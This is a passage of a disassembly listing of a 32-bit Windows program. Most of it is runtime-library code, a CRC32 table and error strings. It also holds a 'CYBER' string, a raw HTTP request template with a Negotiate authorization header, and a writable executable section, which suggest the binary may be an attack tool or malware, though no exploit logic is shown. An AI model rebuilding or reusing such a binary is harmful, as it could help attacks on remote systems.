mov esp, ebp pop ebp retn sub_43B080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B0C0 proc near ; DATA XREF: _1:0043E160o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_43B0D8 mov ecx, [ebp+var_4] mov eax, [ecx+4] jmp short loc_43B0DD ; --------------------------------------------------------------------------- loc_43B0D8: ; CODE XREF: sub_43B0C0+Ej mov eax, offset aUnknownExcepti ; "Unknown exception" loc_43B0DD: ; CODE XREF: sub_43B0C0+16j mov esp, ebp pop ebp retn sub_43B0C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B0F0 proc near ; CODE XREF: sub_43B130+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43E17C push 1Bh call sub_423280 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_43B122 mov edx, [ebp+var_4] mov eax, [edx+4] push eax call sub_423CD0 add esp, 4 loc_43B122: ; CODE XREF: sub_43B0F0+21j push 1Bh call sub_423320 add esp, 4 mov esp, ebp pop ebp retn sub_43B0F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B130 proc near ; DATA XREF: _1:off_43E17Co var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43B0F0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43B155 mov ecx, [ebp+var_4] push ecx call sub_420B80 add esp, 4 loc_43B155: ; CODE XREF: sub_43B130+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43B130 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41F7E0 add esp, 8 neg eax sbb eax, eax inc eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41F7E0 add esp, 8 neg eax sbb eax, eax neg eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41F7E0 add esp, 8 xor edx, edx test eax, eax setnle dl mov eax, edx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_43E17C mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B240 proc near ; CODE XREF: sub_43A460+48p ; sub_43A550+1Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push esi push edi mov ecx, 8 mov esi, offset dword_43E180 lea edi, [ebp+var_20] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_20] push edx call ds:dword_4F54EC ; RaiseException pop edi pop esi mov esp, ebp pop ebp retn 8 sub_43B240 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] and eax, 0FFFFh cmp eax, 0FFFFh jnz short loc_43B2AC mov ax, [ebp+8] jmp loc_43B351 ; --------------------------------------------------------------------------- loc_43B2AC: ; CODE XREF: _0:0043B2A1j cmp ds:dword_4F33F8, 0 jnz short loc_43B2E6 mov ecx, [ebp+8] and ecx, 0FFFFh cmp ecx, 41h jl short loc_43B2E0 mov edx, [ebp+8] and edx, 0FFFFh cmp edx, 5Ah jg short loc_43B2E0 mov eax, [ebp+8] and eax, 0FFFFh add eax, 20h mov [ebp+8], ax loc_43B2E0: ; CODE XREF: _0:0043B2C1j _0:0043B2CFj mov ax, [ebp+8] jmp short loc_43B351 ; --------------------------------------------------------------------------- loc_43B2E6: ; CODE XREF: _0:0043B2B3j push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_43B318 push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov dword ptr [ebp-4], 1 jmp short loc_43B31F ; --------------------------------------------------------------------------- loc_43B318: ; CODE XREF: _0:0043B2F8j mov dword ptr [ebp-4], 0 loc_43B31F: ; CODE XREF: _0:0043B316j mov cx, [ebp+8] push ecx call sub_43B360 add esp, 4 mov [ebp+8], ax cmp dword ptr [ebp-4], 0 jz short loc_43B342 push 13h call sub_423320 add esp, 4 jmp short loc_43B34D ; --------------------------------------------------------------------------- loc_43B342: ; CODE XREF: _0:0043B334j push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_43B34D: ; CODE XREF: _0:0043B340j mov ax, [ebp+8] loc_43B351: ; CODE XREF: _0:0043B2A7j _0:0043B2E4j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B360 proc near ; CODE XREF: sub_43ACF0+11Bp ; sub_43ACF0+13Fp ... var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 0FFFFh cmp eax, 0FFFFh jnz short loc_43B37C mov ax, word ptr [ebp+arg_0] jmp loc_43B410 ; --------------------------------------------------------------------------- loc_43B37C: ; CODE XREF: sub_43B360+11j cmp ds:dword_4F33F8, 0 jnz short loc_43B3B6 mov ecx, [ebp+arg_0] and ecx, 0FFFFh cmp ecx, 41h jl short loc_43B3B0 mov edx, [ebp+arg_0] and edx, 0FFFFh cmp edx, 5Ah jg short loc_43B3B0 mov eax, [ebp+arg_0] and eax, 0FFFFh add eax, 20h mov word ptr [ebp+arg_0], ax loc_43B3B0: ; CODE XREF: sub_43B360+31j ; sub_43B360+3Fj mov ax, word ptr [ebp+arg_0] jmp short loc_43B410 ; --------------------------------------------------------------------------- loc_43B3B6: ; CODE XREF: sub_43B360+23j mov ecx, [ebp+arg_0] and ecx, 0FFFFh cmp ecx, 100h jge short loc_43B3E0 push 1 mov dx, word ptr [ebp+arg_0] push edx call sub_43B770 add esp, 8 test eax, eax jnz short loc_43B3E0 mov ax, word ptr [ebp+arg_0] jmp short loc_43B410 ; --------------------------------------------------------------------------- loc_43B3E0: ; CODE XREF: sub_43B360+65j ; sub_43B360+78j push 0 push 1 lea eax, [ebp+var_4] push eax push 1 lea ecx, [ebp+arg_0] push ecx push 100h mov edx, ds:dword_4F33F8 push edx call sub_43B420 add esp, 1Ch test eax, eax jnz short loc_43B40C mov ax, word ptr [ebp+arg_0] jmp short loc_43B410 ; --------------------------------------------------------------------------- loc_43B40C: ; CODE XREF: sub_43B360+A4j mov ax, [ebp+var_4] loc_43B410: ; CODE XREF: sub_43B360+17j ; sub_43B360+54j ... mov esp, ebp pop ebp retn sub_43B360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B420 proc near ; CODE XREF: sub_43B360+9Ap var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E1A0 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFD8h push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4F3698, 0 jnz short loc_43B4A6 push 0 push 0 push 1 push offset dword_43D410 push 100h push 0 call ds:dword_4F5330 ; LCMapStringW test eax, eax jz short loc_43B477 mov ds:dword_4F3698, 1 jmp short loc_43B4A6 ; --------------------------------------------------------------------------- loc_43B477: ; CODE XREF: sub_43B420+49j push 0 push 0 push 1 push offset dword_43D40C push 100h push 0 call ds:dword_4F5334 ; LCMapStringA test eax, eax jz short loc_43B49F mov ds:dword_4F3698, 2 jmp short loc_43B4A6 ; --------------------------------------------------------------------------- loc_43B49F: ; CODE XREF: sub_43B420+71j xor eax, eax jmp loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B4A6: ; CODE XREF: sub_43B420+2Dj ; sub_43B420+55j ... cmp [ebp+arg_C], 0 jle short loc_43B4BF mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_43B710 add esp, 8 mov [ebp+arg_C], eax loc_43B4BF: ; CODE XREF: sub_43B420+8Aj cmp ds:dword_4F3698, 1 jnz short loc_43B4EB mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F5330 ; LCMapStringW jmp loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B4EB: ; CODE XREF: sub_43B420+A6j cmp ds:dword_4F3698, 2 jnz loc_43B6F1 cmp [ebp+arg_18], 0 jnz short loc_43B507 mov edx, ds:dword_4F3408 mov [ebp+arg_18], edx loc_43B507: ; CODE XREF: sub_43B420+DCj push 0 push 0 push 0 push 0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 220h mov edx, [ebp+arg_18] push edx call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_43B536 xor eax, eax jmp loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B536: ; CODE XREF: sub_43B420+10Dj mov [ebp+var_4], 0 mov eax, [ebp+var_20] add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_30], esp mov [ebp+var_18], esp mov eax, [ebp+var_30] mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43B576 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_1C], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43B576: ; CODE XREF: sub_43B420+13Dj cmp [ebp+var_1C], 0 jnz short loc_43B583 xor eax, eax jmp loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B583: ; CODE XREF: sub_43B420+15Aj push 0 push 0 mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 220h mov edx, [ebp+arg_18] push edx call ds:dword_4F5450 ; WideCharToMultiByte test eax, eax jnz short loc_43B5B1 xor eax, eax jmp loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B5B1: ; CODE XREF: sub_43B420+188j push 0 push 0 mov eax, [ebp+var_20] push eax mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F5334 ; LCMapStringA mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_43B5DB xor eax, eax jmp loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B5DB: ; CODE XREF: sub_43B420+1B2j mov [ebp+var_4], 1 mov eax, [ebp+var_2C] add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_34], esp mov [ebp+var_18], esp mov ecx, [ebp+var_34] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43B61B ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43B61B: ; CODE XREF: sub_43B420+1E2j cmp [ebp+var_24], 0 jnz short loc_43B628 xor eax, eax jmp loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B628: ; CODE XREF: sub_43B420+1FFj mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F5334 ; LCMapStringA test eax, eax jnz short loc_43B651 xor eax, eax jmp loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B651: ; CODE XREF: sub_43B420+228j mov edx, [ebp+arg_4] and edx, 400h test edx, edx jz short loc_43B696 mov eax, [ebp+var_2C] mov [ebp+var_28], eax cmp [ebp+arg_14], 0 jz short loc_43B694 mov ecx, [ebp+arg_14] cmp ecx, [ebp+var_2C] jge short loc_43B67A mov edx, [ebp+arg_14] mov [ebp+var_38], edx jmp short loc_43B680 ; --------------------------------------------------------------------------- loc_43B67A: ; CODE XREF: sub_43B420+250j mov eax, [ebp+var_2C] mov [ebp+var_38], eax loc_43B680: ; CODE XREF: sub_43B420+258j mov ecx, [ebp+var_38] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_10] push eax call sub_41E510 add esp, 0Ch loc_43B694: ; CODE XREF: sub_43B420+248j jmp short loc_43B6EC ; --------------------------------------------------------------------------- loc_43B696: ; CODE XREF: sub_43B420+23Cj cmp [ebp+arg_14], 0 jnz short loc_43B6C3 push 0 push 0 mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_24] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_43B6C1 xor eax, eax jmp short loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B6C1: ; CODE XREF: sub_43B420+29Bj jmp short loc_43B6EC ; --------------------------------------------------------------------------- loc_43B6C3: ; CODE XREF: sub_43B420+27Aj mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_24] push ecx push 1 mov edx, [ebp+arg_18] push edx call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_43B6EC xor eax, eax jmp short loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B6EC: ; CODE XREF: sub_43B420:loc_43B694j ; sub_43B420:loc_43B6C1j ... mov eax, [ebp+var_28] jmp short loc_43B6F3 ; --------------------------------------------------------------------------- loc_43B6F1: ; CODE XREF: sub_43B420+D2j xor eax, eax loc_43B6F3: ; CODE XREF: sub_43B420+81j ; sub_43B420+C6j ... lea esp, [ebp-44h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43B420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B710 proc near ; CODE XREF: sub_43B420+94p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_43B722: ; CODE XREF: sub_43B710+37j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_43B749 mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_43B749 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax jmp short loc_43B722 ; --------------------------------------------------------------------------- loc_43B749: ; CODE XREF: sub_43B710+20j ; sub_43B710+2Cj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_43B75F mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 jmp short loc_43B762 ; --------------------------------------------------------------------------- loc_43B75F: ; CODE XREF: sub_43B710+43j mov eax, [ebp+arg_4] loc_43B762: ; CODE XREF: sub_43B710+4Dj mov esp, ebp pop ebp retn sub_43B710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B770 proc near ; CODE XREF: sub_43B360+6Ep ; _0:0043B7FDp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 0FFFFh cmp eax, 0FFFFh jnz short loc_43B787 xor eax, eax jmp short loc_43B7E3 ; --------------------------------------------------------------------------- loc_43B787: ; CODE XREF: sub_43B770+11j mov ecx, [ebp+arg_0] and ecx, 0FFFFh cmp ecx, 100h jge short loc_43B7B0 mov edx, [ebp+arg_0] and edx, 0FFFFh mov eax, ds:off_453BE8 mov cx, [eax+edx*2] mov word ptr [ebp+var_4], cx jmp short loc_43B7D0 ; --------------------------------------------------------------------------- loc_43B7B0: ; CODE XREF: sub_43B770+26j push 0 push 0 lea edx, [ebp+var_4] push edx push 1 lea eax, [ebp+arg_0] push eax push 1 call sub_438CA0 add esp, 18h test eax, eax jnz short loc_43B7D0 xor eax, eax jmp short loc_43B7E3 ; --------------------------------------------------------------------------- loc_43B7D0: ; CODE XREF: sub_43B770+3Ej ; sub_43B770+5Aj mov eax, [ebp+var_4] and eax, 0FFFFh mov ecx, [ebp+arg_4] and ecx, 0FFFFh and eax, ecx loc_43B7E3: ; CODE XREF: sub_43B770+15j ; sub_43B770+5Ej mov esp, ebp pop ebp retn sub_43B770 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov ax, [ebp+0Ch] push eax mov cx, [ebp+8] push ecx call sub_43B770 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_43B810: ; DATA XREF: _1:0043E344o lea ecx, [ebp-3Ch] jmp sub_40DC3D ; --------------------------------------------------------------------------- mov eax, [ebp-24h] and eax, 1 test eax, eax jz locret_43B82E mov ecx, [ebp+8] jmp sub_40DC3D ; --------------------------------------------------------------------------- locret_43B82E: ; CODE XREF: _0:0043B820j retn ; --------------------------------------------------------------------------- loc_43B82F: ; DATA XREF: sub_40D7E4o mov eax, offset dword_43E348 jmp sub_420420 ; --------------------------------------------------------------------------- lea ecx, [ebp+14h] jmp sub_40DC3D ; --------------------------------------------------------------------------- loc_43B841: ; DATA XREF: _1:0043E370o lea ecx, [ebp-1Ch] jmp sub_40DC3D ; --------------------------------------------------------------------------- loc_43B849: ; DATA XREF: sub_40D95Bo mov eax, offset dword_43E374 jmp sub_420420 ; --------------------------------------------------------------------------- align 4 loc_43B854: ; DATA XREF: sub_40E056o mov eax, offset dword_43E3C4 jmp sub_420420 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40DC3D retn ; =============== S U B R O U T I N E ======================================= SEH_43A460 proc near ; DATA XREF: sub_43A460+5o mov eax, offset dword_43E460 jmp sub_420420 SEH_43A460 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_43B080 retn ; =============== S U B R O U T I N E ======================================= SEH_43A4C0 proc near ; DATA XREF: sub_43A4C0+5o mov eax, offset dword_43E488 jmp sub_420420 SEH_43A4C0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_43B080 retn ; =============== S U B R O U T I N E ======================================= SEH_43A580 proc near ; DATA XREF: sub_43A580+5o mov eax, offset dword_43E4D0 jmp sub_420420 SEH_43A580 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] call sub_43B080 retn ; =============== S U B R O U T I N E ======================================= SEH_43A640 proc near ; DATA XREF: sub_43A640+5o mov eax, offset dword_43E4F8 jmp sub_420420 SEH_43A640 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40DC3D retn ; =============== S U B R O U T I N E ======================================= SEH_43A760 proc near ; DATA XREF: sub_43A760+5o mov eax, offset dword_43E560 jmp sub_420420 SEH_43A760 endp _0 ends ; Section 2. (virtual address 0003C000) ; Virtual size : 00002588 ( 9608.) ; Section size in file : 00002588 ( 9608.) ; Offset to raw data for section: 0003C000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _1 segment para public 'CODE' use32 assume cs:_1 ;org 43C000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dd 0 dd 469D99F3h, 0 dd 2, 61h, 0 dd 59800h, 0 dword_43C020 dd 0 ; DATA XREF: sub_401071+24r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401C87+3477o ; sub_401C87+355Ao ... align 4 aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401C87+387Eo ; sub_401C87+38BAo ... align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D95B+68o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_43C470 dq 1.388888888888889e-2 ; DATA XREF: sub_40D798+2Fr dbl_43C478 dq 1.666666666666667e-1 ; DATA XREF: sub_40D798+15r dbl_43C480 dq 1.333333333333333 ; DATA XREF: sub_40D7E4+70r dword_43C488 dd 0 ; DATA XREF: sub_40DCD7:loc_40DF40o flt_43C48C dd 5.0e-1 ; DATA XREF: sub_40E29B+38Fr dbl_43C490 dq 9.765625e-4 ; DATA XREF: sub_416D68+2B8r ; sub_416D68+2CDr ... dbl_43C498 dq -1.52587890625e-4 ; DATA XREF: sub_418428+3D3r dbl_43C4A0 dq 3.0517578125e-4 ; DATA XREF: sub_418428+3B4r dbl_43C4A8 dq -3.0517578125e-4 ; DATA XREF: sub_418428+332r ; sub_418428+396r dbl_43C4B0 dq 1.52587890625e-4 ; DATA XREF: sub_418428+26Dr dbl_43C4B8 dq -1.739501953125e-3 ; DATA XREF: sub_418428+248r ; sub_418428+2D1r ... dbl_43C4C0 dq 3.11279296875e-3 ; DATA XREF: sub_418428+E1r dbl_43C4C8 dq 3.0517578125e-5 ; DATA XREF: sub_418428+AEr ; sub_418428+137r ... dbl_43C4D0 dq 6.103515625e-5 ; DATA XREF: sub_418428+93r ; sub_418428+2FDr dbl_43C4D8 dq 2.288818359375e-3 ; DATA XREF: sub_418428+21r dbl_43C4E0 dq -3.0517578125e-5 ; DATA XREF: sub_419313+2Br flt_43C4E8 dd 9.765625e-4 ; DATA XREF: sub_41B161+1B0r flt_43C4EC dd 8.0 ; DATA XREF: sub_41B161+1AAr flt_43C4F0 dd 0.0 ; DATA XREF: sub_41B161+16Fr flt_43C4F4 dd 1.0e-3 ; DATA XREF: sub_41B161+166r dword_43C4F8 dd 6F6C6366h, 632E6573h, 0 ; DATA XREF: sub_41BCF0+1Do ; sub_41BD80+25o dword_43C504 dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_41BCF0+14o ; sub_420FE0+Do ... dword_43C514 dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h ; DATA XREF: sub_41BD80+1Co ; sub_41EFB0+45o ... dd 6572h, 545243h, 6D726F4Eh, 6C61h aFree db 'Free',0 ; DATA XREF: _2:off_4517F0o align 8 dword_43C548 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41BEC0+5o dd offset sub_41BF1D aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: sub_41BF80:loc_41C0EAo ; sub_41C3F0:loc_41C570o align 4 aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_41BF80+11Bo aS_19 db '%s',0 ; DATA XREF: sub_41BF80+BCo ; sub_41BF80+16Fo ... align 10h aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; 